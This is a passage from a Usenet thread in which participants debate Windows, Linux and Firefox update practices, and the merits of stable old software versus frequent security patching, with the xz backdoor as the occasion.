(e.g. windows and macOS), whereas in linux most updates can happen in
the background with the system still running.

> It should
> be getting updates rarely and then with good reason. MS know that.
> That's why they let corporate customers update periodically and
> test out the changes before rolling them out.

And corporate customers apply them as they're released. The cost of
internally verifying them and thereby delay applying highly critical
vulnerabilities is not worth it. Can you imagine the damage to
reputation if Corp X was victim of a 0-zero day vulnerability and held
to ransom simply because they chose not to apply a patch in a timely
manner?

On 2024-03-31 23:54, Newyana2 wrote:
> "Carlos E.R." <robin_listas@es.invalid> wrote
>
> | > The way it used to work is that software was thoroughly
> | > tested before release. Then another version might come out
> | > in maybe a year. At that point people might try it out, or they
> | > might wait for reviews. And one could easily find a list of
> | > actual changes in the new version. Most of my Windows software
> | > hasn't been updated in ages and still works fine. But Microsoft and
> | > Linux are now both guilty of seat-of-the-pants updating. If it
> | > isn't stopped, Windows will show a message at boot every few
> | > days: "Please wait. Installing updates."
> |
> | You should read "The cathedral and the bazaar".
> |
> That's addressing how to develop software. But then there's
> the point at which the software is done, thoroughly tested,
> and put to use. It needs to be well designed and stable. It
> needs to do what people need. Then it needs to stay put.

Software is never done.

> Software shouldn't be a sexy business, with constant redesign.
> What happens more often than not in the Linux world might
> be called the greasemonkey syndrome. That's the case where
> someone has a car on his front lawn and continually works
> on tuning it up, adding scoops, and so on. He never quite gets
> around to driving the car. He just likes to tinker.
>
> For all Microsoft's faults, there's the advantage that their business
> depends on business users. So Windows has to be stable, it has to
> have a well documented API, and backward compatibility is critical
> because businesses build their own inhouse software. I can write
> software today on Windows that runs on every Windows machine in
> the world, with no support files needed. With Macs one gets 2-3
> years backard compatibility. With Linux it's a moving target. I'm
> still using a 25 year old Paint Shop Pro on my 23 year old WinXP.
> I'm still using current Firefox on 14 year old Win7. I had to update
> my 4 year old Raspberry Pi OS because it couldn't run the latest
> Chromium. It could only run Chromium 92, released in 2021. The
> whole thing has to be periodically replaced.

You forget that the money in the Linux world is precisely in the
business user. And those distributions were not affected by this
vulnerability.

--
Cheers, Carlos.

On 2024-04-01 10:51, Bugsy wrote:
> "Carlos E.R." <robin_listas@es.invalid> wrote:
>
>> Bad actor probably paid by some country or mafia with money and resources.
>>
>> https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor
>
> Very sophisticated. Their grand scheme was:
>
> 1) sneakily backdoor the release tarballs, but not the source code

Wrong. The source code of xz was compromised.

--
Cheers, Carlos.

On 2024-04-01 13:21, J.O. Aho wrote:
> On 31/03/2024 20.17, Newyana2 wrote:
>> "J.O. Aho" <user@example.net> wrote
>>
>> | > The
>> | > whole approach is a ridiculous mess. How could quality control
>> | > possibly be carried out on so many constant changes?
>> |
>> | Quite simple, most open source projects can get free static code
>> | inspection (this can be automated say when a pull request is made), a
>> | review is always needed before code are merged (how good it is depends
>> | on the maintainers, all from sloppy microsoft standard to BSD high
>> | standard) . This is the same way as most closed source projects also
>> are
>> | done.
>> |
>>
>>    I don't see it as a closed vs open issue. Microsoft
>> now do the same dripfeed updating. Essentially, the
>> SOHo customer base are now an unpaid beta testing
>> army.
>
> That was the feeling one got reading, bashing on open source development
> model, which in reality don't be that much different from remote working
> setups with the exception that developers not gone trough a silly
> interview.
>
>
>>    I've had to make efforts to block these unknown updates
>> in both Win10 and Suse.
>
> In microsoft updates you can't opt out from specific updates, everything
> is bundled together, while for example with Suse you can block specific
> packages from being updated (in the long run you may get a dependency
> issue, not my problem).
>
>  > (And yes, it is in the 100s. I had
>> my firewall down briefly after a week or two when Suse couldn't
>> call home.
>
> What you call for calling home for Suse is just a fetch of the latest
> status on what packages exists in the remote repository and some
> metadata, so it's one way communication, sure the remote end could store
> your IP and which repository you was fetching from.

And you'd have to consider that the download happens from multiple
servers hosted by independent sites the world over. In the case of
openSUSE they can not even obtain reliable detailed stats on the users.

Anyway, it is open, you can find out what the infrastructure does. There
is no evil.

>
> It's on your local system that the calculation is done which packages
> are needed to be installed to get everything up to latest version.
>
> This differs much from the microsoft way, which you tell everything to
> microsoft and they tell you what to install.

Right.

....

> Please don't be stupid, keep your stuff up to date, it's not about you,
> but it's about everyone else as when you are part of a botnet everyone
> else will be affected of your bad decisions.

+1

--
Cheers, Carlos.

"J.O. Aho" <user@example.net> wrote

| Please don't be stupid, keep your stuff up to date, it's not about you,
| but it's about everyone else as when you are part of a botnet everyone
| else will be affected of your bad decisions.
|

Now that you mention it, that sounds like good advice.
I am too stupid to manage security on my computer. I'm
not even a Linux engineer. So I'll do as you recommend.
I think my compression libs are out of date and I've heard
there's a nifty one called "xz". Maybe I'll get that. When do
you advise me to update it again? This afternoon? Or is
tonight good enough? :)

"Carlos E.R." <robin_listas@es.invalid> wrote

| > That's addressing how to develop software. But then there's
| > the point at which the software is done, thoroughly tested,
| > and put to use. It needs to be well designed and stable. It
| > needs to do what people need. Then it needs to stay put.
| | Software is never done.
|

The normalization of that view is what's led to the acceptance
of a seat-of-the-pants rolling beta approach. Your statement
has no context. A lot of software is more than done. If the
software does what you need and it's stable, why would you
dump it for something else? The software I use is done. Much
of it is 25 years old. It works dependably. It doesn't need
security patches.

J.O. makes a valid case for security with software that goes online.
OK. (Even though that's rather ironic in this particular thread.)
But security isn't just a matter of putting fingers in the dike once
a week. It's about making a solid product in the first place and
then dealing with risk.

For instance, Firefox updates about every 10 days. Why?
They're trying to keep up with Chrome. They have developers
who need to get paid. They need to justify spending $500
million/year. And, yes, there are security patches. So, many of
the reasons for updates are not legit. The result is a wildly
bloated mess with settings like musical chairs and a prefs
file that hasn't been properly cleaned up since Netscape. It
just keeps growing, full of indecipherable and largely
undocumented settings. That's rolling beta.

At the same time, Mozilla can't be held fully accountable for
online security. It's not just about making sure they patch the
latest 0-day. The entire medium of networking and online
functionality is faulty.
We're accepting high-risk script and remote communication
for frictionless shopping and datamining. A lot of pages I visit now
show me a message that "javascript is required for this app." Yes.
Javascript from a dozen sources. That's not a webpage. It's
a medium-sized, obfuscated, executable software program that
I'm expected to download and run... Pretending that it's about
getting the latest patch is not being willing to face the problem.

Today at Slashdot there's an article about how 73 million
AT&T customers have had their account info and personal data
posted on the so-called dark web. The data is 5 years old, but
most of it is likely still valid. How did it get stolen? They don't
know. But AT&T clearly have that database internet-connected,
and their "business partners" have access. So how could the
data NOT be stolen? These kinds of reports come out almost
daily. Then people mutter about more salt and pepper needed.
The solution is not technical. It's logistical.

When will we really look at that? What will it take? What if
some teenager manages to cause a 3,700 car pile-up on July
4th weekend by hacking into car telematics? Would that make
us think twice, or will everyone just talk about how we need
to fix the vulnerability that the teenager exploited? What will
it take to see that cars should not be network connected and
things that are network-connected should not be executing
remote code?

On 01/04/2024 15.24, Newyana2 wrote:
> "J.O. Aho" <user@example.net> wrote
>
> | Please don't be stupid, keep your stuff up to date, it's not about you,
> | but it's about everyone else as when you are part of a botnet everyone
> | else will be affected of your bad decisions.
> |
>
> Now that you mention it, that sounds like good advice.
> I am too stupid to manage security on my computer. I'm
> not even a Linux engineer. So I'll do as you recommend.
> I think my compression libs are out of date and I've heard
> there's a nifty one called "xz". Maybe I'll get that. When do
> you advise me to update it again? This afternoon? Or is
> tonight good enough? :)

So you think CVE-2008-5424 and CVE-2010-3147 are good to have?
There is less risk of using the compromised xz tarball than using your
current ms-windows, at least xz needs specific conditions to cause the
authentication in sshd.

--
//Aho

On 01/04/2024 16.01, Newyana2 wrote:
> "Carlos E.R." <robin_listas@es.invalid> wrote
>
> | > That's addressing how to develop software. But then there's
> | > the point at which the software is done, thoroughly tested,
> | > and put to use. It needs to be well designed and stable. It
> | > needs to do what people need. Then it needs to stay put.
> |
> | Software is never done.
> |
>
> The normalization of that view is what's led to the acceptance
> of a seat-of-the-pants rolling beta approach. Your statement
> has no context. A lot of software is more than done. If the
> software does what you need and it's stable, why would you
> dump it for something else?

You talking about software that has been abandoned by the developers?

The software I use is done. Much
> of it is 25 years old. It works dependably. It doesn't need
> security patches.

There is no security patches for the software is abandoned, but has
vulnerabilities.

>
> J.O. makes a valid case for security with software that goes online.
> OK. (Even though that's rather ironic in this particular thread.)
> But security isn't just a matter of putting fingers in the dike once
> a week. It's about making a solid product in the first place and
> then dealing with risk.
>
> For instance, Firefox updates about every 10 days. Why?

The web standard is evolving and of course the attack vectors too, so
there are a request for updates and people tend to have more privacy, so
that kind of features needs to be implemented in a way so that it don't
break the user experience. Also code optimization is an important thing,
you don't want to have the modem speed experience while online on a
high-speed connection.

If you don't want to update as often, there is the ESR.

--
//Aho

["Followup-To:" header set to alt.os.linux.]
Frank Slootweg <this@ddress.is.invalid> wrote at 18:57 this Sunday (GMT):
> Newyana2 <Newyana2@invalid.nospam> wrote:
> [...]
>
>> But Microsoft and
>> Linux are now both guilty of seat-of-the-pants updating. If it
>> isn't stopped, Windows will show a message at boot every few
>> days: "Please wait. Installing updates."
>
> With "every few days" actually being *a month* and you only get a
> "Please wait." message if you're stupid enough not to set your 'Active
> hours'.
>
> And "at boot every few days"!? My system is up from one monthly update
> cycle to the next, no silly business with booting in between.
>
> [...]

I think I've heard of Windows ignoring that sometimes.
--
user <candycane> is generated from /dev/urandom